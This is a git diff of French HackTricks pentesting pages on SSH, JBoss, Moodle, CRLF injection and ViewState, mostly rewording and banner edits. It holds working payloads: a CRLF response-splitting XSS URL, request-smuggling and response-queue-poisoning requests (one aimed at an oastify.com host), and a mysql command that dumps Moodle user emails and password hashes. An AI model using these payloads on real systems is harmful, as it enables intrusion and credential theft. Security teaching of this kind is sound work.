* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -94,7 +94,7 @@ ssh-keyscan -t rsa <IP> -p <PORT>
|
|||
```
|
||||
### Algorithmes de chiffrement faibles
|
||||
|
||||
Cela est découvert par défaut par **nmap**. Mais vous pouvez également utiliser **sslscan** ou **sslyze**.
|
||||
Cela est découvert par défaut par **nmap**. Mais vous pouvez également utiliser **sslcan** ou **sslyze**.
|
||||
|
||||
### Scripts Nmap
|
||||
```bash
|
||||
|
@ -221,26 +221,27 @@ $ ssh noraj@192.168.1.94 /bin/bash
|
|||
Voici un exemple de configuration sécurisée SFTP (`/etc/ssh/sshd_config` - openSSH) pour l'utilisateur `noraj` :
|
||||
|
||||
```plaintext
|
||||
# Configuration for SFTP
|
||||
# Port to listen on
|
||||
Port 22
|
||||
|
||||
# Disable password authentication
|
||||
PasswordAuthentication no
|
||||
|
||||
# Allow only specific users
|
||||
AllowUsers noraj
|
||||
|
||||
# Allow only SFTP
|
||||
Subsystem sftp internal-sftp
|
||||
|
||||
# Chroot jail the user to their home directory
|
||||
Match User noraj
|
||||
ChrootDirectory /home/noraj
|
||||
ChrootDirectory %h
|
||||
ForceCommand internal-sftp
|
||||
AllowTcpForwarding no
|
||||
X11Forwarding no
|
||||
PasswordAuthentication yes
|
||||
PermitTunnel no
|
||||
PermitTTY no
|
||||
PermitUserEnvironment no
|
||||
AllowAgentForwarding no
|
||||
AllowStreamLocalForwarding no
|
||||
ClientAliveInterval 300
|
||||
ClientAliveCountMax 2
|
||||
UsePAM yes
|
||||
```
|
||||
|
||||
Cette configuration restreint l'utilisateur `noraj` à son répertoire personnel (`/home/noraj`) et lui permet uniquement d'utiliser le protocole SFTP pour transférer des fichiers. Les options `AllowTcpForwarding` et `X11Forwarding` sont désactivées pour empêcher toute redirection de port ou transfert X11. L'authentification par mot de passe est autorisée, mais les tunnels, les TTY et les environnements utilisateur ne sont pas permis. Les options `AllowAgentForwarding` et `AllowStreamLocalForwarding` sont également désactivées pour des raisons de sécurité. Le serveur envoie un message de vérification toutes les 300 secondes pour vérifier si le client est toujours actif, et si le client ne répond pas après deux tentatives, la connexion est fermée. Enfin, l'option `UsePAM` est activée pour utiliser le module PAM pour l'authentification.
|
||||
Assurez-vous de recharger la configuration SSH après avoir apporté des modifications.
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
|
@ -304,7 +305,7 @@ id_rsa
|
|||
* Vous pouvez trouver des guides intéressants sur la façon de renforcer SSH dans [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -38,9 +38,9 @@ Vous pouvez exposer des **servlets de gestion** via les chemins suivants dans JB
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -49,7 +49,7 @@ Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -41,7 +41,7 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
Le `moodlescan` est un outil de balayage spécialement conçu pour détecter les vulnérabilités dans les installations Moodle. Il utilise des techniques d'analyse automatisées pour identifier les failles de sécurité potentielles dans les sites Moodle.
|
||||
Le `moodlescan` est un outil de balayage spécialement conçu pour détecter les vulnérabilités dans les installations Moodle. Il utilise des techniques de balayage automatisées pour identifier les failles de sécurité courantes telles que les injections SQL, les failles XSS et les problèmes de configuration. L'outil peut également être utilisé pour collecter des informations sur le site Moodle cible, telles que les versions des composants, les utilisateurs et les cours.
|
||||
|
||||
#### Utilisation
|
||||
|
||||
|
@ -53,37 +53,36 @@ moodlescan [options] <url>
|
|||
|
||||
- `-h, --help`: Affiche l'aide et quitte.
|
||||
- `-v, --version`: Affiche la version de l'outil.
|
||||
- `-u, --username <username>`: Spécifie le nom d'utilisateur pour l'authentification.
|
||||
- `-p, --password <password>`: Spécifie le mot de passe pour l'authentification.
|
||||
- `-c, --cookie <cookie>`: Spécifie le cookie pour l'authentification.
|
||||
- `-t, --threads <threads>`: Spécifie le nombre de threads à utiliser pour le balayage (par défaut: 10).
|
||||
- `-o, --output <output>`: Spécifie le fichier de sortie pour enregistrer les résultats du balayage.
|
||||
- `-u, --username <username>`: Spécifie le nom d'utilisateur à utiliser pour l'authentification.
|
||||
- `-p, --password <password>`: Spécifie le mot de passe à utiliser pour l'authentification.
|
||||
- `-c, --cookie <cookie>`: Spécifie le cookie à utiliser pour l'authentification.
|
||||
- `-o, --output <file>`: Spécifie le fichier de sortie pour enregistrer les résultats du balayage.
|
||||
- `-t, --threads <number>`: Spécifie le nombre de threads à utiliser pour le balayage (par défaut: 10).
|
||||
|
||||
#### Exemples
|
||||
|
||||
- Balayer un site Moodle sans authentification :
|
||||
|
||||
```
|
||||
moodlescan https://example.com
|
||||
moodlescan https://example.com/moodle
|
||||
```
|
||||
|
||||
- Balayer un site Moodle avec authentification :
|
||||
|
||||
```
|
||||
moodlescan -u admin -p password https://example.com
|
||||
moodlescan -u admin -p password https://example.com/moodle
|
||||
```
|
||||
|
||||
- Balayer un site Moodle en utilisant un cookie d'authentification :
|
||||
|
||||
```
|
||||
moodlescan -c "sessionid=1234567890abcdef" https://example.com
|
||||
moodlescan -c "sessionid=1234567890abcdef" https://example.com/moodle
|
||||
```
|
||||
|
||||
#### Remarques
|
||||
|
||||
- Assurez-vous d'avoir l'autorisation légale de balayer un site Moodle avant de l'utiliser.
|
||||
- L'outil peut générer un grand nombre de requêtes, ce qui peut entraîner un blocage IP si vous ne prenez pas les précautions appropriées.
|
||||
- Les résultats du balayage peuvent inclure des informations sensibles, assurez-vous de les traiter avec précaution et de les partager uniquement avec les personnes autorisées.
|
||||
- Assurez-vous d'avoir l'autorisation légale de balayer le site Moodle cible avant d'utiliser cet outil.
|
||||
- Utilisez les résultats du balayage de manière responsable et éthique, en respectant la vie privée et la sécurité des utilisateurs.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -143,14 +142,14 @@ CMSMap effectuera une série de tests pour identifier le CMS utilisé par le sit
|
|||
Voici un exemple d'utilisation de CMSMap :
|
||||
|
||||
```
|
||||
cmsmap -t 192.168.0.1 -u http://example.com
|
||||
cmsmap -t 192.168.1.100 -u http://example.com
|
||||
```
|
||||
|
||||
Dans cet exemple, CMSMap sera exécuté sur la cible avec l'adresse IP `192.168.0.1` et l'URL `http://example.com`. CMSMap analysera le site Web pour identifier le CMS utilisé et fournira des informations détaillées sur les plugins, les thèmes et les versions du CMS.
|
||||
Dans cet exemple, CMSMap sera exécuté sur la cible avec l'adresse IP `192.168.1.100` et l'URL `http://example.com`. CMSMap analysera le site Web pour identifier le CMS utilisé et fournira des informations détaillées sur les plugins, les thèmes et les versions du CMS.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
CMSMap est un outil puissant pour la cartographie des CMS. Il permet aux testeurs de pénétration d'identifier les vulnérabilités potentielles et les points faibles d'un CMS donné. En utilisant CMSMap, vous pouvez améliorer la sécurité de votre site Web en identifiant et en corrigeant les vulnérabilités connues.
|
||||
CMSMap est un outil puissant pour la cartographie des CMS. Il permet aux testeurs de pénétration d'identifier les vulnérabilités potentielles et les points faibles d'un CMS donné. En utilisant CMSMap, vous pouvez améliorer votre processus de test de pénétration et renforcer la sécurité de vos systèmes de gestion de contenu.
|
||||
```bash
|
||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||
cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
@ -210,9 +209,9 @@ Remember, it is important to have proper authorization and legal permission befo
|
|||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -220,10 +219,10 @@ Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -27,7 +27,7 @@ De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www
|
|||
|
||||
### Qu'est-ce que la vulnérabilité d'injection CRLF ?
|
||||
|
||||
Dans une attaque de vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et de saut de ligne dans l'entrée utilisateur pour tromper le serveur, l'application web ou l'utilisateur en pensant qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, mais elles peuvent être utilisées à des fins malveillantes, par exemple pour diviser les réponses HTTP.
|
||||
Dans une attaque de vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et de saut de ligne dans l'entrée utilisateur pour tromper le serveur, l'application web ou l'utilisateur en pensant qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, mais elles peuvent être utilisées à des fins malveillantes, pour le fractionnement des réponses HTTP, etc.
|
||||
|
||||
## Injection CRLF dans les applications web
|
||||
|
||||
|
@ -88,7 +88,7 @@ Et le serveur répond avec l'en-tête :
|
|||
```
|
||||
Location: http://myweb.com
|
||||
```
|
||||
**Autre exemple: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
||||
**Autre exemple: (à partir de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
||||
```
|
||||
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
|
@ -145,18 +145,17 @@ Vous pouvez injecter des en-têtes essentiels pour vous assurer que le **serveur
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Ensuite, **spécifiez une deuxième requête**. Voici une **requête d'empoisonnement classique** [**request smuggling**](http-request-smuggling/) avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection.\
|
||||
Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
|
||||
Ensuite, **spécifiez une deuxième requête**. Voici une **requête classique** [**d'empoisonnement de requête**](http-request-smuggling/) avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection. Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
|
||||
|
||||
Spécifier un **préfixe malveillant** pour empoisonner la requête du prochain utilisateur ou un cache web :
|
||||
Spécifier un **préfixe malveillant** pour empoisonner soit la requête du prochain utilisateur, soit un cache web :
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
Ou créer notre préfixe pour le combiner avec les données inutiles à la fin et créer une deuxième requête complète afin de déclencher **l'empoisonnement de la file d'attente de réponse**.
|
||||
Ou créer notre préfixe pour le combiner avec les données inutiles finales et créer une deuxième requête complète afin de déclencher **l'empoisonnement de la file de réponses**.
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
Pour plus d'informations sur cette technique et les problèmes potentiels, **consultez la source originale** (https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
Pour plus d'informations sur cette technique et les problèmes potentiels, **consultez la source originale**.
|
||||
|
||||
### Injection Memcache
|
||||
|
||||
|
@ -166,9 +165,9 @@ Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**.
|
|||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Si une plateforme **prend des données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
|
||||
Si une plateforme prend des **données d'une requête HTTP et les utilise sans les désinfecter** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait exploiter ce comportement pour **injecter de nouvelles commandes memcache**.
|
||||
|
||||
Par exemple, dans la vulnérabilité découverte initialement, les clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants étaient capables d'**injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
|
||||
Par exemple, dans la vulnérabilité découverte initialement, des clés de cache étaient utilisées pour renvoyer l'adresse IP et le port auxquels un utilisateur devait se connecter, et les attaquants étaient capables d'**injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (y compris les noms d'utilisateur et les mots de passe) aux serveurs de l'attaquant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -178,15 +177,15 @@ De plus, les chercheurs ont également découvert qu'ils pouvaient désynchronis
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Pour obtenir toutes les informations, lisez le**[ **rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
|
||||
**Pour obtenir toutes les informations, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/).
|
||||
|
||||
## Impacts de la vulnérabilité d'injection CRLF
|
||||
|
||||
Les impacts des injections CRLF varient et incluent également tous les impacts de la faille de script intersite (XSS) à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité telles que les filtres XSS et la politique de même origine dans les navigateurs de la victime, les rendant ainsi vulnérables aux attaques malveillantes.
|
||||
|
||||
### Comment prévenir les injections CRLF / HTTP Header dans les applications Web
|
||||
### Comment prévenir les injections CRLF / HTTP Header dans les applications web
|
||||
|
||||
La meilleure technique de prévention consiste à ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications Web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
|
||||
La meilleure technique de prévention consiste à ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web consiste à mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF à l'intérieur des fonctions qui définissent les en-têtes HTTP.
|
||||
|
||||
### CHEAT SHEET
|
||||
```
|
||||
|
@ -223,7 +222,7 @@ La meilleure technique de prévention consiste à ne pas utiliser directement le
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
|
|
@ -5,14 +5,14 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -20,7 +20,7 @@ Si vous êtes intéressé par une **carrière de piratage** et que vous voulez p
|
|||
|
||||
## Qu'est-ce que ViewState
|
||||
|
||||
**ViewState** est la méthode que le framework ASP.NET utilise par défaut pour **préserver les valeurs des pages et des contrôles entre les pages web**. Lorsque le HTML de la page est rendu, l'état actuel de la page et les valeurs qui doivent être conservées lors d'un postback sont sérialisées en chaînes encodées en base64 et affichées dans le champ caché ViewState ou les champs ViewState.\
|
||||
**ViewState** est la méthode que le framework ASP.NET utilise par défaut pour **préserver les valeurs des pages et des contrôles entre les pages web**. Lorsque le HTML de la page est rendu, l'état actuel de la page et les valeurs qui doivent être conservées lors d'un postback sont sérialisés en chaînes encodées en base64 et affichés dans le champ caché ViewState ou les champs ViewState.\
|
||||
Les propriétés suivantes ou combinaison de propriétés s'appliquent aux informations ViewState :
|
||||
|
||||
* Base64
|
||||
|
@ -124,19 +124,19 @@ Dans les cas où le paramètre `_VIEWSTATEGENERATOR` **n'est pas envoyé** par l
|
|||
```
|
||||
### Cas de test : 3 - .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true
|
||||
|
||||
